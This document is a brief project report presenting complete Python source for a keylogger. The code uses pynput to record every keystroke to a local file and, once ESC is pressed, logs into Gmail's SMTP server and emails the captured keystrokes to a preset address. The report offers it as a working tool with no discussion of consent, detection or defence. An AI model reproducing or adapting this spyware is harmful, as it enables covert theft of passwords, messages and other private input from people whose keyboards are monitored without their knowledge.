Basic Keylogger Project Report

This project demonstrates a basic keylogger implemented in Python. Features: • Capture keystrokes and save them to keylogger.txt • Send the captured keystrokes to an email using SMTP • Exit the keylogger using the ESC key

Source Code:

```python
import smtplib
import ssl
from pynput import keyboard

sender_mail = "user@domain.com"
receiver_mail = "user@domain.com"
password = "passcode"
port = 587
message = """From: user@domain.com
To: user@domain.com
Subject: KeyLogs
Text: Keylogs
"""

def write(text):
    with open("keylogger.txt", 'a') as f:
        f.write(text)

def on_key_press(Key):
    try:
        if Key == keyboard.Key.enter:
            write("\n")
        else:
            write(Key.char)
    except AttributeError:
        if Key == keyboard.Key.backspace:
            write("\nBackspace Pressed\n")
        elif Key == keyboard.Key.tab:
            write("\nTab Pressed\n")
        elif Key == keyboard.Key.space:
            write(" ")
        else:
            write(repr(Key)+" Pressed.\n")

def on_key_release(Key):
    if Key == keyboard.Key.esc:
        return False

with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
    listener.join()

with open("keylogger.txt", 'r') as f:
    message = message + f.read()

context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail, password)
server.sendmail(sender_mail, receiver_mail, message)
server.quit()
```